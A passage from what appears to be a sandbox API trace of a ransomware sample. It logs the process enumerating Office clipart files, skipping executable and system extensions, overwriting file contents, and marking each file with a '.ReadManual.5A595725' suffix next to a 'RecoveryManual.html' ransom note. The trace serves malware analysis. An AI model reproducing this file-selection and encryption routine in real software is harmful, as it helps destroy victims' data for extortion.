lpString1="J0239941.WMF") returned="J0239941.WMF" [0268.973] lstrcmpiW (lpString1="J0239941.WMF", lpString2="RecoveryManual.html") returned -1 [0268.973] StrStrIW (lpFirst="J0239941.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.973] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.973] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.973] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.973] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.973] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.973] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.973] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.973] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.973] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.973] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.973] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.973] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.973] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.973] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.973] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" [0268.973] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.ReadManual.5A595725" [0268.973] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.ReadManual.5A595725") returned 87 [0268.973] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38964205464) returned 1 [0268.973] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf")) returned 0x20 [0268.974] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.974] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5144) returned 1 [0268.974] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1418, lpName=0x0) returned 0x184 [0268.974] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.975] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.975] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.976] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.977] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1418) returned 0x2f0000 [0268.977] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.977] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38964567022) returned 1 [0268.977] CloseHandle (hObject=0x184) returned 1 [0268.977] SetSecurityInfo () returned 0x57 [0268.977] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.977] CloseHandle (hObject=0x194) returned 1 [0268.977] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1998, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239943.WMF", cAlternateFileName="")) returned 1 [0268.977] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239943.WMF" | out: lpString1="J0239943.WMF") returned="J0239943.WMF" [0268.977] lstrcmpiW (lpString1="J0239943.WMF", lpString2="RecoveryManual.html") returned -1 [0268.977] StrStrIW (lpFirst="J0239943.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.977] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.977] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.977] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.977] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.977] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.978] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.978] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.978] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.978] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.978] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.978] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.978] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.978] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.978] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.978] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" [0268.978] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.ReadManual.5A595725" [0268.978] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.ReadManual.5A595725") returned 87 [0268.978] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38964666692) returned 1 [0268.978] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf")) returned 0x20 [0268.978] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.978] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6552) returned 1 [0268.979] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1998, lpName=0x0) returned 0x184 [0268.979] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.979] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.979] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.981] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.981] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1998) returned 0x2f0000 [0268.981] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.981] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38965004665) returned 1 [0268.981] CloseHandle (hObject=0x184) returned 1 [0268.981] SetSecurityInfo () returned 0x57 [0268.981] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.982] CloseHandle (hObject=0x194) returned 1 [0268.982] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239951.WMF", cAlternateFileName="")) returned 1 [0268.982] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239951.WMF" | out: lpString1="J0239951.WMF") returned="J0239951.WMF" [0268.982] lstrcmpiW (lpString1="J0239951.WMF", lpString2="RecoveryManual.html") returned -1 [0268.982] StrStrIW (lpFirst="J0239951.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.982] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.982] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.982] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.982] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.982] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.982] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.982] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.982] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.982] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.982] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.982] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.982] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.982] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.982] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.982] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" [0268.982] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.ReadManual.5A595725" [0268.982] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.ReadManual.5A595725") returned 87 [0268.982] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38965103332) returned 1 [0268.982] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf")) returned 0x20 [0268.983] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.983] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7232) returned 1 [0268.983] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c40, lpName=0x0) returned 0x184 [0268.983] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.984] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.984] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.985] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.985] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c40) returned 0x2f0000 [0268.986] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.986] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38965449471) returned 1 [0268.986] CloseHandle (hObject=0x184) returned 1 [0268.986] SetSecurityInfo () returned 0x57 [0268.986] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.986] CloseHandle (hObject=0x194) returned 1 [0268.986] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239953.WMF", cAlternateFileName="")) returned 1 [0268.986] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239953.WMF" | out: lpString1="J0239953.WMF") returned="J0239953.WMF" [0268.986] lstrcmpiW (lpString1="J0239953.WMF", lpString2="RecoveryManual.html") returned -1 [0268.986] StrStrIW (lpFirst="J0239953.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.986] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.986] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.986] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.986] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.986] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.986] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.986] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.986] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.986] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.986] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.986] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.987] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.987] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.987] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.987] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" [0268.987] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.ReadManual.5A595725" [0268.987] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.ReadManual.5A595725") returned 87 [0268.987] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38965547806) returned 1 [0268.987] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf")) returned 0x20 [0268.987] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.987] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7112) returned 1 [0268.987] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bc8, lpName=0x0) returned 0x184 [0268.987] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.988] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.988] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.989] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.990] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bc8) returned 0x2f0000 [0268.990] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.990] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38965866796) returned 1 [0268.990] CloseHandle (hObject=0x184) returned 1 [0268.990] SetSecurityInfo () returned 0x57 [0268.990] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.990] CloseHandle (hObject=0x194) returned 1 [0268.990] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1348, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239955.WMF", cAlternateFileName="")) returned 1 [0268.990] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239955.WMF" | out: lpString1="J0239955.WMF") returned="J0239955.WMF" [0268.990] lstrcmpiW (lpString1="J0239955.WMF", lpString2="RecoveryManual.html") returned -1 [0268.990] StrStrIW (lpFirst="J0239955.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.990] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.990] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.990] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.990] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.990] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.990] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.991] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.991] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.991] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.991] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.991] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.991] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.991] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.991] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.991] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" [0268.991] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.ReadManual.5A595725" [0268.991] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.ReadManual.5A595725") returned 87 [0268.991] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38965962597) returned 1 [0268.991] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf")) returned 0x20 [0268.992] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.992] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4936) returned 1 [0268.992] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1348, lpName=0x0) returned 0x184 [0268.992] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.993] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.993] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.994] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.995] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1348) returned 0x2f0000 [0268.995] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.995] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38966360660) returned 1 [0268.995] CloseHandle (hObject=0x184) returned 1 [0268.995] SetSecurityInfo () returned 0x57 [0268.995] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.995] CloseHandle (hObject=0x194) returned 1 [0268.995] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1720, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239965.WMF", cAlternateFileName="")) returned 1 [0268.995] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239965.WMF" | out: lpString1="J0239965.WMF") returned="J0239965.WMF" [0268.995] lstrcmpiW (lpString1="J0239965.WMF", lpString2="RecoveryManual.html") returned -1 [0268.995] StrStrIW (lpFirst="J0239965.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.995] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.995] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.995] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.995] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.995] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.995] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.995] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.995] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.996] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.996] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.996] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.996] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.996] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.996] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.996] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" [0268.996] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft 